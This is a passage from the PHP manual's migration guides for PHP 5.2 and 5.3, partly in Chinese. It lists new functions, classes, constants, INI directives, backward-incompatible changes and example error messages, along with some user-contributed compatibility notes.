  • streamWrapper::stream_set_option() - 更改流选项

Date/Time:

  • date_add() - 向 DateTime 对象增加一定数量的天, 月, 年, 小时, 分钟和秒数.
  • date_create_from_format() - 根据给定的格式, 返回一个 DateTime 对象.
  • date_diff() - 返回两个 DateTime 对象的不同之处.
  • date_get_last_errors() - 返回最后的日期/时间操作中产生的警告和错误.
  • date_parse_from_format() - 获取一个日期的信息.
  • date_sub() - 从 DateTime 对象减去一定数量的天, 月, 年, 时和秒数.
  • timezone_version_get() - 返回时区数据库的版本.

GMP:

  • gmp_testbit() - 测试一个比特是否被设置.

Hash:

  • hash_copy() - 复制哈希环境.

IMAP:

  • imap_gc() - 清除 IMAP 缓存.
  • imap_utf8_to_mutf7() - 编码 UTF-8 字符串为改进的 UTF-7 编码.
  • imap_mutf7_to_utf8() - 解码改进的 UTF-7 字符串为 UTF-8 编码.

JSON:

  • json_last_error() - 返回最后发生的 JSON 错误.

MySQL 改进:

  • mysqli_fetch_all() - 以关联数组、索引数组或者二者都有获取全部结果行.
  • mysqli_get_connection_stats() - 返回客户端连接的统计资料.
  • mysqli_poll() - 轮询连接.
  • mysqli_reap_async_query() - 从异步查询中获取结果.

OpenSSL:

  • openssl_random_pseudo_bytes() - 返回一个以伪随机字节填充的指定长度的字符串.

PCNTL:

  • pcntl_signal_dispatch() - 为挂起信号调用信号处理器.
  • pcntl_sigprocmask() - 设置和获取阻塞信号.
  • pcntl_sigtimedwait() - 等待信号, 但是有超时时间.
  • pcntl_sigwaitinfo() - 等待信号.

PCRE:

  • preg_filter() - 执行正则查找和替换, 仅仅返回匹配正则的结果.

信号:

  • msg_queue_exists() - 检查消息队列是否存在.
  • shm_has_var() - 检查在一个共享内存段中, 是否存在指定的键(key).

以下函数被原生支持, 因此它们在所有运行 PHP 的操作系统上均可用.

  • acosh()
  • asinh()
  • atanh()
  • expm1()
  • log1p()

User Contributed Notes

There are no user contributed notes for this page.


新的流包装器

5.3.0 中新增了以下流包装器:

  • glob://
  • phar://

User Contributed Notes

There are no user contributed notes for this page.


新的流过滤器

5.3.0 新增了以下流过滤器:

  • dechunk (反转 HTTP 块编码)
  • bz2.decompress 过滤器支持连续操作.

User Contributed Notes

There are no user contributed notes for this page.


新增的类常量

5.3.0 中新增了若干类常量:

PDO_FIREBIRD:

  • PDO::FB_ATTR_DATE_FORMAT - 为日期设置格式.
  • PDO::FB_ATTR_TIME_FORMAT - 为时间设置格式.
  • PDO::FB_ATTR_TIMESTAMP_FORMAT - 为时间戳设置格式.

User Contributed Notes

There are no user contributed notes for this page.


新增的方法

5.3.0 中新增了若干方法:

日期/时间:

  • DateTime::add() - 向一个 DateTime 对象加上若干天, 月, 年, 小时, 分钟和秒.
  • DateTime::createFromFormat() - 根据给定的格式, 返回一个新的格式化的DateTime对象.
  • DateTime::diff() - 返回两个 DateTime 对象的不同之处.
  • DateTime::getLastErrors() - 返回最后的日期/时间处理中的警告和错误.
  • DateTime::sub() - 从 DateTime 对象中减去若干天, 月, 年, 小时, 分钟和秒.

异常(Exception):

  • Exception::getPrevious() - 获取前一个异常.

DOM:

  • DOMNode::getLineNo() - 返回解析节点的行数.

PDO_FIREBIRD:

  • PDO::setAttribute() - 设置属性.

反射(Reflection):

  • ReflectionClass::getNamespaceName() - 返回类定义所在命名空间的的名称.
  • ReflectionClass::getShortName() - 返回类的短名称(没有命名空间部分).
  • ReflectionClass::inNamespace() - 返回类是否定义于一个命名空间.
  • ReflectionFunction::getNamespaceName() - 返回函数定义所在命名空间的名字.
  • ReflectionFunction::getShortName() - 返回函数的段名称(没有命名空间部分).
  • ReflectionFunction::inNamespace() - 返回函数在一个命名空间中是否被定义.
  • ReflectionProperty::setAccessible() - 设置是否可以请求非 public 属性.

SPL:

  • SplObjectStorage::addAll() - 从另一个 SplObjectStorage 对象中新增全部元素.
  • SplObjectStorage::removeAll() - 从另一个 SplObjectStorage 对象中移除全部元素.

XSL:

  • XSLTProcessor::setProfiling() - 设置概况输出文件.

User Contributed Notes

There are no user contributed notes for this page.


新的扩展

PHP 5.3.0 新增以下扩展(默认):

  • Enchant - 各种拼写库的抽象层
  • 文件信息 - 已经被移除的 Mimetype 扩展的一个改进的、更加可靠的替代, 以 BC 为特色.
  • INTL - 国际化扩展. INTL 是 » ICU 库的一个包装器.
  • Phar - PHP 档案文件的实现.
  • SQLite3 - 支持 SQLite version 3 数据库.

mysqlnd 是随 PHP 发布的新核心库. 它是 PHP 独有的 libmysql 的替代. 如果系统上未发现 libmysql, mysqlnd 将被用来构建 mysql, mysqli 和 PDO_MySQL 扩展. 甚至 libmysql 存在的情况下, 它也可以被用来代替 libmysql. 由于性能上的原因, 推荐在全部的 PHP 安装中都使用 mysqlnd.

User Contributed Notes

There are no user contributed notes for this page.


被移除的扩展

这些扩展已经被移动至 PECL 并且不再是 PHP 发布的一部分. 这些扩展的 PECL 包版本将根据用户需求创建.

  • dbase - 不再被保持
  • fbsql - 不再被保持
  • fdf - 被保持
  • ming - 被保持
  • msql - 不再被保持
  • ncurses - 被保存
  • sybase - 停用; 使用 sybase_ct 扩展代替.
  • mhash - 停用; 使用 hash 扩展代替. hash 全兼容 mhash; 全部使用旧函数的应用程序仍将可以工作.

User Contributed Notes

Anonymous 15-Apr-2015 04:05
As mentioned mssql was discontinued. Summing that MDB2 doesn't support sqlsrv driver means that you are screwed if your codebase depends on MDB2 + mssql.
keith 27-Oct-2010 12:39
Hash does NOT fully implement mhash.  Notably Joomla has 2 lines in helper.php that use an unsupported function: mhash_keygen_s2k(,,,).

Other functions of mhash can be rewritten:

<?php
echo bin2hex(mhash(MHASH_RIPEMD160 ,"my_password"));

echo hash("ripemd160" ,"my_password");
?>
schwilch at gmx dot de 16-Jun-2010 05:39
MSsqlserverDriver does not support mssql-functions but sqlsrv-functions.
If you do not want to change all of your php-scripts for using other functions and another function-handling of db-connection-parameters you should use freeTDS for Windows (download for example at moodle.org) and php_dblib.dll.
I hope this helps others with MS-Systems.
Cam 28-Aug-2009 08:57
The MSSQL extension is no longer present in the 5.3.0 release, but this fact is not mentioned on this page. Perhaps that should be added.

It seems that the recommended solution is to use "SQL Server Driver for PHP" by Microsoft (http://www.microsoft.com/sqlserver/2005/en/us/php-driver.aspx). However, it is reported that the current release (v1.0) does not support PHP 5.3.0 (see http://forums.iis.net/t/1158918.aspx). Apparently, v1.1 will support PHP 5.3, but it is currently in CTP release.


Other changes to extensions

以下扩展不再能在编译配置时进行关闭:

  • PCRE
  • 反射
  • SPL

扩展行为和新功能的改变:

  • 日期和时间 - 获取时区时不再使用 TZ 环境变量.
  • cURL - cURL 支持 SSH
  • Network - dns_check_record() 现在返回一个额外的 "entries" 索引, 包含 TXT 元素.
  • Hash - SHA-224 和 salsa 哈希算法获得支持.
  • mbstring - 现在支持 CP850 编码.
  • OCI8 - 在持久连接上调用 oci_close() 或者在作用域外引用持久连接, 将回滚任何尚未提交的事务. 为了避免意外的行为, 根据需要明确发布和回滚事务. 使用 INI 指令oci8.old_oci_close_semantics可以打开旧的行为. 数据库驻留连接池(DRCP)和快速应用通知(FAN)获得支持. Oracle 外部认证获得支持(除了 Windows 平台). oci_bind_by_name() 函数现在支持 SQLT_AFC (又称 CHAR 数据类型).
  • OpenSSL - 支持 OpenSSL 摘要和加密函数. 访问 DSA, RSA 和 DH 键的内部值变为可能.
  • Session - 当应用了 open_basedir 限制, Session 不再将 Session 文件存储在 "/tmp" 目录中, 除非 "/tmp" 目录被明确添加到许可路径列表.
  • SOAP 支持发送用户提供的 HTTP 头.
  • MySQLi 通过在主机名前面添加 "p:" 来支持持久连接.
  • 图片处理和 GD gd_info() 函数返回的 "JPG Support" 索引变更为 "JPEG Support".

User Contributed Notes

There are no user contributed notes for this page.


新类

PHP 5.3.0 新增了以下类:

日期/时间:

  • DateInterval
  • DatePeriod

Phar:

  • Phar
  • PharData
  • PharException
  • PharFileInfo

SPL:

  • FilesystemIterator
  • GlobIterator
  • MultipleIterator
  • RecursiveTreeIterator
  • SplDoublyLinkedList
  • SplFixedArray
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplQueue
  • SplStack

User Contributed Notes

There are no user contributed notes for this page.


新的全局常量

PHP 核心:

  • __DIR__
  • __NAMESPACE__
  • E_DEPRECATED
  • E_USER_DEPRECATED
  • INI_SCANNER_NORMAL
  • INI_SCANNER_RAW
  • PHP_MAXPATHLEN
  • PHP_WINDOWS_NT_DOMAIN_CONTROLLER
  • PHP_WINDOWS_NT_SERVER
  • PHP_WINDOWS_NT_WORKSTATION
  • PHP_WINDOWS_VERSION_BUILD
  • PHP_WINDOWS_VERSION_MAJOR
  • PHP_WINDOWS_VERSION_MINOR
  • PHP_WINDOWS_VERSION_PLATFORM
  • PHP_WINDOWS_VERSION_PRODUCTTYPE
  • PHP_WINDOWS_VERSION_SP_MAJOR
  • PHP_WINDOWS_VERSION_SP_MINOR
  • PHP_WINDOWS_VERSION_SUITEMASK

cURL:

  • CURLOPT_PROGRESSFUNCTION

GD:

  • IMG_FILTER_PIXELATE

JSON:

  • JSON_ERROR_CTRL_CHAR
  • JSON_ERROR_DEPTH
  • JSON_ERROR_NONE
  • JSON_ERROR_STATE_MISMATCH
  • JSON_ERROR_SYNTAX
  • JSON_FORCE_OBJECT
  • JSON_HEX_TAG
  • JSON_HEX_AMP
  • JSON_HEX_APOS
  • JSON_HEX_QUOT

LDAP:

  • LDAP_OPT_NETWORK_TIMEOUT

libxml:

  • LIBXML_LOADED_VERSION

PCRE:

  • PREG_BAD_UTF8_OFFSET_ERROR

PCNTL:

  • BUS_ADRALN
  • BUS_ADRERR
  • BUS_OBJERR
  • CLD_CONTIUNED
  • CLD_DUMPED
  • CLD_EXITED
  • CLD_KILLED
  • CLD_STOPPED
  • CLD_TRAPPED
  • FPE_FLTDIV
  • FPE_FLTINV
  • FPE_FLTOVF
  • FPE_FLTRES
  • FPE_FLTSUB
  • FPE_FLTUND
  • FPE_INTDIV
  • FPE_INTOVF
  • ILL_BADSTK
  • ILL_COPROC
  • ILL_ILLADR
  • ILL_ILLOPC
  • ILL_ILLOPN
  • ILL_ILLTRP
  • ILL_PRVOPC
  • ILL_PRVREG
  • POLL_ERR
  • POLL_HUP
  • POLL_IN
  • POLL_MSG
  • POLL_OUT
  • POLL_PRI
  • SEGV_ACCERR
  • SEGV_MAPERR
  • SI_ASYNCIO
  • SI_KERNEL
  • SI_MESGQ
  • SI_NOINFO
  • SI_QUEUE
  • SI_SIGIO
  • SI_TIMER
  • SI_TKILL
  • SI_USER
  • SIG_BLOCK
  • SIG_SETMASK
  • SIG_UNBLOCK
  • TRAP_BRKPT
  • TRAP_TRACE

User Contributed Notes

mlocati 01-Apr-2016 02:32
For these PHP versions:
- PHP 5.3
- PHP 5.4
- PHP 5.5 up to 5.5.26 (included)
- PHP 5.6 up to 5.6.10 (included)

the value of
<?php
PHP_WINDOWS_VERSION_MAJOR . '. ' . PHP_WINDOWS_VERSION_MINOR . '. ' . PHP_WINDOWS_VERSION_BUILD;
?>
is limited to 6.2.9200 (Windows 8) even if the OS is newer (Windows 8.1, Windows 10).

The reason of this problem is this change in the Windows API:
https://msdn.microsoft.com/en-us/library/windows/desktop/dn302074(v=vs.85).aspx

A fix for this has been added to PHP 5.5 from 5.5.27, and PHP 5.6 from 5.6.11 (and all versions of PHP 7 are ok).

For more details about this, see https://github.com/symfony/symfony/pull/18385#issuecomment-204406795
webmozart 07-Jan-2015 11:05
For someone that is looking for the possible values of PHP_WINDOWS_VERSION_MAJOR and PHP_WINDOWS_VERSION_MINOR (like I was), see here:
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724832.aspx


INI 文件处理改变

PHP 5.3.0 显著改进了 INI 文件的性能和解析, 并且新增了若干语法功能.

  • 标准的 php.ini 文件被重新组织和命名. php.ini-development 包含在开发环境中推荐使用的设置. php.ini-production 包含在生产环境中推荐使用的设置.
  • 支持两个特殊章节: [PATH=/opt/httpd/www.example.com/] 和 [HOST=www.example.com]. 这两个章节里的指令不能被用户定义的 INI 文件或者运行时覆盖. 关于这些章节的更多信息, 可以这里找到.
  • 移除了 zend_extension_debug and zend_extension_ts. 使用 zend_extension 指令来加载全部 Zend 扩展.
  • 移除了 zend.ze1_compatibility_mode. 如果该 INI 指令被设置为 On, 启动时将抛出 E_ERROR 级别错误.
  • 在 "extension" 指令中可以使用全路径来加载模块.
  • "ini变量" 现在几乎在 php.ini 文件的任何地方都可以使用.
  • 可以在运行时收紧 open_basedir 限制条件.
  • 可以在 INI 选项数组中使用字母数字或者变量.
  • get_cfg_var() 现在可以返回 "数组(array)" INI 选项.
  • 添加了一个新指令 mail.add_x_header.
  • user_ini.filename 是新增的.
  • user_ini.cache_ttl 也是新增的.
  • exit_on_timeout 也是新增的.
  • open_basedir 现在是 PHP_INI_ALL 的.

新增以下指令:

  • 新的 .htaccess-style 用户 INI 文件机制中的 user_ini.filename 和 user_ini.cache_ttl.
  • 新增 mbstring.http_output_conv_mimetype. 该指令指定了 mb_output_handler() 激活内容类型的正则表达式.
  • 新增 request_order. 允许控制哪些外部变量在 $_REQUEST 中可用.

以下 ini 指令默认值更新:

  • session.use_only_cookies 默认被设置为 "1"(打开).
  • oci8.default_prefetch 变更为从 "10" 到 "100".

User Contributed Notes

There are no user contributed notes for this page.


其他改变

  • SplFileInfo::getpathinfo() 现在返回 path name 信息.
  • SplObjectStorage 现在支持 ArrayAccess. 现在可以在 SplObjectStorage 中存储关联信息对象.
  • 在 GD 扩展中, 通过 imagefilter() 函数, 可以提供像素支持.
  • var_dump() 的输出现在包含对象的私有属性.
  • 如果会话启动失败, session_start() 现在将返回 FALSE.
  • property_exists() 可以检查一个属性的存在性, 而不管它的访问控制类型(类似于 method_exists()).
  • include_path 现在可以使用Stream 包装器.
  • array_reduce() 函数的 initial 参数现在可以是任何类型.
  • 如果没有明确传递上下文环境, 目录函数 opendir(), scandir(), 和 dir() 将使用默认的流上下文环境.
  • crypt() 函数支持 Blowfish 和 DES 算法, 并且 crypt() 的特点是非常便捷. PHP 有它自己内部的算法实现, 不管是否找到 crypt 或 crypt_r.
  • 在全部平台上, getopt() 开始接受"长选项". 可选值和作为短选项分隔符的 = 被支持.
  • fopen() 新增了一个模式选项(n), 它传递 O_NONBLOCK 常量给底层的 open() 系统调用. 注意, Windows 上该模式尚未得到支持.
  • getimagesize() 现在支持 icon 文件 (.ico).
  • mhash 扩展已经移动至 PECL, 但如果 PHP 使用 --with-mhash 选项参数进行编译, Hash 扩展也将提供 mhash 支持. 注意, 不管是否开启 mhash 算法, Hash 扩展都无需 mhash 库可用.

User Contributed Notes

There are no user contributed notes for this page.


Migrating from PHP 5.1.x to PHP 5.2.x

Table of Contents

  • What has changed in PHP 5.2.x
  • Backward Incompatible Changes
  • New Error Messages
  • Changes in PHP datetime support
  • New Parameters
  • New Functions
  • New Methods
  • Removed Extensions
  • New Extensions
  • New Classes
  • New Global Constants
  • New Class Constants
  • New INI Configuration Directives
  • Error Reporting
  • Other Enhancements

参见 PHP 版本迁移指南 5.0.x, 5.1.x, 5.3.x, 5.4.x, 5.5.x and 5.6.x.

User Contributed Notes

There are no user contributed notes for this page.


What has changed in PHP 5.2.x

Most improvements in PHP 5.2.x have no impact on existing code. There are a few incompatibilities and new error messages that should be considered, and code should be tested before switching PHP versions in production environments.

If the system is being upgraded from PHP 5.0.x, the manual section titled Upgrade Notes for PHP 5.1.x should also be read.

Similarly, if the system is being upgraded from PHP 4, the manual section titled Migrating from PHP 4 to PHP 5 should be read as well.

User Contributed Notes

There are no user contributed notes for this page.


Backward Incompatible Changes

Although most existing PHP 5 code should work without changes, you should pay attention to the following backward incompatible changes:

  • getrusage() returns NULL when passed incompatible arguments as of PHP 5.2.1.
  • ZipArchive::setCommentName() returns TRUE on success as of PHP 5.2.1.
  • ZipArchive::setCommentIndex() returns TRUE on success as of PHP 5.2.1.
  • SplFileObject::getFilename() returns the filename, not relative/path/to/file, as of PHP 5.2.1.
  • Changed priority of PHPRC environment variable on Win32 The PHPRC environment variable now takes priority over the path stored in the Windows registry.
  • CLI SAPI no longer checks cwd for php.ini or the php-cli.ini file In PHP 5.1.x an undocumented feature was added that made the CLI binary check the current working directory for a PHP configuration file, potentially leading to unpredictable behavior if an unexpected configuration file were read. This functionality was removed in 5.2.0, and PHP will no longer search CWD for the presence of php.ini or php-cli.ini files. See also the command line section of the manual.
  • Added a warning when performing modulus 0 operations In earlier versions of PHP, performing integer % 0 did not emit any warning messages, instead returning an unexpected return value of FALSE. As of PHP 5.2.0, this operation will emit an E_WARNING, as is the case in all other instances where division by zero is performed.
    <?php
    print 10 % 0;
    /* Warning:  Division by zero in filename on line n */
    ?>
  • Changed __toString() to be called wherever applicable. The magic method __toString() will now be called in a string context, that is, anywhere an object is used as a string. The fallback of returning a string that contains the object identifier was dropped in PHP 5.2.0. It became problematic because an object identifier cannot be considered unique. This change will mean that your application is flawed if you have relied on the object identifier as a return value. An attempt to use that value as a string will now result in a catchable fatal error.
    <?php
    class foo {}
    $foo = new foo;
    print     $foo;
    /* Catchable fatal error:  Object of class foo could
       not be converted to string in filename on line n */
    ?>
    Even with __toString(), objects cannot be used as array indices or keys. We may add built-in hash support for this at a later date, but as of PHP 5.2.x you will need to either provide your own hashing or use the new SPL function spl_object_hash(). Exceptions can not be thrown from __toString() methods.
    <?php
    class foo {
        public function     __toString() {
            throw new     Exception;
        }
    }

    try {
        print new     foo;
            /* Fatal error:  Method foo::__toString() must
           not throw an exception in filename on line n */
    } catch(Exception $e) {}
    ?>
  • Dropped abstract static class functions. Due to an oversight, PHP 5.0.x and 5.1.x allowed abstract static functions in classes. As of PHP 5.2.x, only interfaces can have them.
    <?php
    abstract class foo {
        abstract static function     bar();
            /* Strict Standards:  Static function foo::bar()
           should not be abstract in filename on line n */
    }
    ?>
  • Oracle extension requires at least Oracle 10 on Windows.
  • Added RFC2397 (data: stream) support. The introduction of the 'data' URL scheme has the potential to lead to a change of behavior under Windows. If you are working with a NTFS file system and making use of meta streams in your application, and if you just happen to be using a file with the name 'data:' that is accessed without any path information - it won't work any more. The fix is to use the 'file:' protocol when accessing it. See also » RFC 2397
    <?php
    /* when allow_url_include is OFF (default) */
    include "data:;base64,PD9waHAgcGhwaW5mbygpOz8+";
    /* Warning:  include(): URL file-access is disabled
       in the server configuration in filename on line n */
    ?>
  • Regression in glob() patterns In version 5.2.4 a security fix caused a regression for patterns of the form "/foo/*/bar/*". Since version 5.2.5 instead of raising a warning the glob() function will return FALSE when openbase_dir restrictions are violated.

User Contributed Notes

goellerk at bucks dot edu 07-Jun-2010 02:20
str_pad has been modified as well, to enforce UPPERCASE sensitivity on the pad_type declaration.

Optional argument pad_type can be STR_PAD_RIGHT, STR_PAD_LEFT, or STR_PAD_BOTH. If pad_type is not specified it is assumed to be STR_PAD_RIGHT.

If entered as:
$foo = 10;
$wrong = str_pad($foo, 4,'0',str_pad_left);
print "wrong is '$wrong'<br>";

$right = str_pad($foo,4,'0',STR_PAD_LEFT);
print "right is '$right'<br>";

results:
wrong is '    '
right is '  10'
Alexander Schuch 04-Feb-2010 06:42
If the sole reason for having "abstract static methods" is to force the implementation of such a method in a child, consider using an interface for them. The abstract class implements the interface, and a child class extends the base class and defines the "abstract static methods".

<?php
interface I
{
static public function f();
}

abstract class C implements I
{
// more/other methods go here
}

class D extends C
{
static public function f()
{
echo 'I am f().';
}
}
?>
jbarker at erepublic dot com 21-Feb-2008 06:44
If any of your code relies on includes of URLS  à la allow_url_fopen, be aware that a new directive (allow_url_include) has been added, and that it defaults to Off.
php dot manual at frankkleine dot de 10-Nov-2007 04:17
Between PHP 5.2.3 and 5.2.4 another backward incompatible change was introduced: parent classes now can not access private properties of child classes with get_object_vars(). See the following example:

class Bar {
    public function dumpBar()  {
        var_dump(get_object_vars($this));
    }
}
class Foo extends Bar {
    public $public = 'public';
    protected $protected = 'protected';
    private $private = 'private';

    public function dump() {
        var_dump(get_object_vars($this));
    }
}

$foo = new Foo();
$foo->dump();
$foo->dumpBar();

The result with PHP < 5.2.4:
E:\php\tests>php get_object_vars.php
array(3) {
  ["public"]    => string(6) "public"
  ["protected"] => string(9) "protected"
  ["private"]   => string(7) "private"
}

array(3) {
  ["public"]    => string(6) "public"
  ["protected"] => string(9) "protected"
  ["private"]   => string(7) "private"
}

And the result with PHP >= 5.2.4:
E:\php-5.2.4-Win32>php ../php/tests/get_object_vars.php
array(3) {
  ["public"]    => string(6) "public"
  ["protected"] => string(9) "protected"
  ["private"]   => string(7) "private"
}

array(2) {
  ["public"]    => string(6) "public"
  ["protected"] => string(9) "protected"
}

As you can see the private property is missing now when dumped from the parent class Bar.
Erik Osterman 29-Mar-2007 07:44
It should be noted that if you provide a __toString method, you can cast the object to a string and use it as an array key (PHP 5.2.x).

e.g.   $array[ (string)$myObject ] = 'foobar';

This is an alternative to using spl_object_hash.


New Error Messages

Below are the new error messages that have not been discussed elsewhere in this document.

Example #1 In PHP Core

<?php
echo " ";
session_regenerate_id();
/*  Warning:  session_regenerate_id(): Cannot regenerate
    session id - headers already sent in filename on line n */

str_word_count("string", 4);
/* Warning:  str_word_count(): Invalid format value 4
   in filename on line n */

strripos("foo", "f", 4);
/* Notice:  strripos(): Offset is greater than the
   length of haystack string in filename on line n */

strrpos("foo", "f", 4);
/* Notice:  strrpos(): Offset is greater than the
   length of haystack string in filename on line n */

/* As of PHP 5.2.1, when allow_url_include is OFF (default) */
include "php://input";
/* Warning:  include(): URL file-access is disabled
   in the server configuration in filename on line n */
?>

Example #2 Object Oriented Code in PHP Core

<?php
interface foo {
}
class bar implements foo, foo {
}
/* Fatal error: Class bar cannot implement previously
   implemented interface foo in filename on line n */

class foo {
    public $bar;
    function __get($var)
    {
        return $this->bar;
    }
}

$foo = new foo;
$bar =& $foo->prop;
/* Notice: Indirect modification of overloaded property
   foo::$prop has no effect in filename on line n */

class foo implements iterator {
    public function current() {
    }
    public function next() {
    }
    public function key() {
    }
    public function valid() {
    }
    public function rewind() {
    }
}

$foo = new foo();
foreach($foo as &$ref) {}
/* Fatal error: An iterator cannot be used with foreach
   by reference in filename on line n */

class foo {
    private function __construct() {
    }
}
class bar extends foo {
    public function __construct() {
        parent::__construct();
        /* Fatal error:  Cannot call private
           foo::__construct() in filename on line n */
    }
}
new bar;

stream_filter_register("", "class");
/* Warning:  stream_filter_register(): Filter name
   cannot be empty in filename on line n */

stream_filter_register("filter", "");
/* Warning:  stream_filter_register(): Class name
   cannot be empty in filename on line n */
?>

Example #3 In the bzip2 Extension

<?php
bzopen("", "w");
/* Warning:  bzopen(): filename cannot be empty
   in filename on line n */

bzopen("foo", "a");
/* Warning:  bzopen(): 'a' is not a valid mode for
   bzopen(). Only 'w' and 'r' are supported in
   filename on line n */

$fp = fopen("foo", "w");
bzopen($fp, "r");
/* Warning:  bzopen(): cannot read from a stream
   opened in write only mode in filename on line n */
?>

Example #4 In the datetime Extension

<?php
strtotime("today", "now");
/* Warning:  strtotime() expects parameter 2 to be
   long, string given in filename on line n */

/* As of PHP 5.2.1 */
new DateTime(new stdclass);
/* Fatal error: Uncaught exception 'Exception' with
   message 'DateTime::__construct() expects parameter
   1 to be string, object given' in filename:n */
?>

Example #5 In the dBase Extension

<?php
dbase_open("foo", -1);
/* Warning: Invalid access mode -1 in filename on line n */

/* As of PHP 5.2.1 */
dbase_open("foo", null);
/* Warning: The filename cannot be empty in filename on line n */
?>

Example #6 In the mcrypt Extension

<?php
$key = "this is a secret key";
$td = mcrypt_module_open('tripledes', '', 'ecb', '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($td),
                        MCRYPT_RAND);
mcrypt_generic_init($td, $key, $iv);
$encrypted_data = mcrypt_generic($td, "");
/* Warning: mcrypt_generic(): An empty string was
   passed in filename on line n */
?>

Example #7 In the oci8 Extension

<?php
oci_connect("user", "pass", "db", "bogus_charset");
/* Warning: Invalid character set name:
   bogus_charset in filename on line n */

$oci = oci_connect("user", "pass", "db");
oci_password_change($oci, "", "old", "new");
/* Warning: username cannot be empty in filename
   on line n */

oci_password_change($oci, "user", "", "new");
/* Warning: old password cannot be empty in filename
   on line n */

oci_password_change($oci, "user", "old", "");
/* Warning: new password cannot be empty in filename
   on line n */
?>

Example #8 In the SPL Extension

<?php
$obj = new SplFileObject(__FILE__);
$obj->fgetcsv("foo");
/* Warning:  SplFileObject::fgetcsv(): delimiter must
   be a character in filename on line n */

$obj->fgetcsv(",", "foo");
/* Warning:  SplFileObject::fgetcsv(): enclosure must
   be a character in filename on line n */
?>

Example #9 In the Semaphore (sysvmsg) extension

<?php
/* Warning:  maximum size of the message has to be
   greater then zero in filename on line n */
?>

Example #10 A 5.2.1+ Zip Example

<?php
$obj = new ZipArchive();
$obj->open('archive.zip');
$obj->setCommentName('', 'comment');
/* Notice:  ZipArchive::setCommentName(): Empty string
   as entry name in filename on line n */

/* As of PHP 5.2.1 */
$obj->getCommentName('');
/* Notice:  ZipArchive::getCommentName(): Empty string
   as entry name in filename on line n */
?>

User Contributed Notes

There are no user contributed notes for this page.


Changes in PHP datetime support

Since PHP 5.1.0, there has been an extension named date in the PHP core. This is the new implementation of PHP's datetime support. Although it will attempt to guess your system's timezone setting, you should set the timezone manually. You can do this in any of three ways:

  • in your php.ini using the date.timezone INI directive
  • on your system using the TZ environmental variable
  • from your script using the convenience function date_default_timezone_set()

All supported timezones are listed in the PHP Manual.

With the advent of PHP 5.2.x, there are object representations of the date and timezone, named DateTime and DateTimeZone respectively. The methods map to existing procedural date functions.

User Contributed Notes

There are no user contributed notes for this page.


New Parameters

Some functions were given new, optional, parameters in PHP 5.2.x:

PHP Core:

  • htmlentities() - added double_encode in PHP 5.2.3.
  • htmlspecialchars() - added double_encode in PHP 5.2.3.
  • base64_decode() - added strict
  • setcookie() - added httponly
  • setrawcookie() - added httponly
  • session_set_cookie_params() - added httponly
  • memory_get_usage() - added real_usage
  • get_loaded_extensions() - added zend_extensions in PHP 5.2.4

curl:

  • curl_multi_info_read() - added msgs_in_queue

datetime

  • date() - added "u" (milliseconds) format character in PHP 5.2.2

imap:

  • imap_open() - added n_retries
  • imap_reopen() - added n_retries

mbstring:

  • mb_strrpos() - added offset
    Warning

    The offset parameter was put in the position the encoding parameter used to be. Backward compatibility has been provided by allowing encoding to be specified as the third parameter. Using this backward compatibility mode is not recommended because it will be removed in a future release of PHP.

ming:

  • SWFMovie::streamMP3() - added skip in PHP 5.2.1

openssl:

  • openssl_verify() - added signature_algo

pgsql:

  • pg_escape_bytea() - added connection
  • pg_escape_string() - added connection

simplexml:

  • SimpleXMLElement::__construct() - added is_prefix
  • SimpleXMLElement::attributes() - added is_prefix
  • SimpleXMLElement::children() - added is_prefix
  • simplexml_load_file() - added is_prefix
  • simplexml_load_string() - added is_prefix

spl:

  • array iterator_to_array(Traversable it [, bool use_keys = true]) - added use_keys in PHP 5.2.1

xmlreader:

  • XMLReader::open() - added encoding and options
  • XMLReader::XML() - added encoding and options

XMLWriter:

  • xmlwriter_write_element() - the content became optional in PHP 5.2.3
  • xmlwriter_write_element_ns() - the content became optional in PHP 5.2.3

User Contributed Notes

There are no user contributed notes for this page.


New Functions

PHP 5.2.x introduced some new functions:

PHP Core:

  • array_fill_keys() - Create an array using the elements of the first parameter as keys, each initialized to val
  • error_get_last() - Get the last occurred error as associative array. Returns NULL if there hasn't been an error yet
  • image_type_to_extension() - Get file extension for image-type returned by getimagesize(), exif_read_data(), exif_thumbnail(), exif_imagetype()
  • memory_get_peak_usage() - Returns the peak allocated by PHP memory
  • sys_get_temp_dir() - Returns directory path used for temporary files. (Added in 5.2.1)
  • timezone_abbreviations_list() - Returns associative array containing DST, offset and the timezone name
  • timezone_identifiers_list() - Returns numerically indexed array with all timezone identifiers
  • timezone_name_from_abbr() - Returns the timezone name from abbreviation
  • stream_socket_shutdown() - Causes all or part of a full-duplex connection on the socket associated with stream to be shut down. As of PHP 5.2.1.

Image:

  • imagegrabscreen() - Grabs a screenshot of the whole screen. As of PHP 5.2.2.
  • imagegrabwindow() - Captures a window. As of PHP 5.2.2.

libXML:

  • libxml_disable_entity_loader() - Disable the ability to load external entities. As of PHP 5.2.11.

mbstring:

  • mb_stripos() - Finds position of first occurrence of a string within another, case insensitive
  • mb_stristr() - Finds first occurrence of a string within another, case insensitive
  • mb_strrchr() - Finds the last occurrence of a character in a string within another
  • mb_strrichr() - Finds the last occurrence of a character in a string within another, case insensitive
  • mb_strripos() - Finds position of last occurrence of a string within another, case insensitive
  • mb_strstr() - Finds first occurrence of a string within another

ming (As of PHP 5.2.1):

  • void ming_setSWFCompression(int num) - Sets output compression
  • void swfmovie::namedanchor(string name) - Creates anchor
  • void swfmovie::protect([string password]) - Protects

openssl:

  • openssl_csr_get_public_key() - Extracts public key from a CERT and prepares it for use
  • openssl_csr_get_subject() - Returns the subject of a CERT
  • openssl_pkey_get_details() - Returns an array with the key details (bits, pkey, type)

spl:

  • spl_object_hash() - Return hash id for given object
  • int iterator_apply(Traversable it, mixed function [, mixed params]) - Calls a function for every element in an iterator

pcre:

  • preg_last_error() - Returns the error code of the last regex execution

pgsql:

  • pg_field_table() - Returns the name of the table field belongs to, or table's oid if oid_only is TRUE

posix:

  • posix_initgroups() - Calculate the group access list for the user specified in name

gmp:

  • gmp_nextprime() - Finds next prime number

xmlwriter:

  • xmlwriter_full_end_element() - End current element - returns FALSE on error
  • xmlwriter_write_raw() - Write text - returns FALSE on error
  • xmlwriter_start_dtd_entity() - Create start DTD Entity - returns FALSE on error
  • xmlwriter_end_dtd_entity() - End current DTD Entity - returns FALSE on error
  • xmlwriter_write_dtd_entity() - Write full DTD Entity tag - returns FALSE on error

User Contributed Notes

There are no user contributed notes for this page.


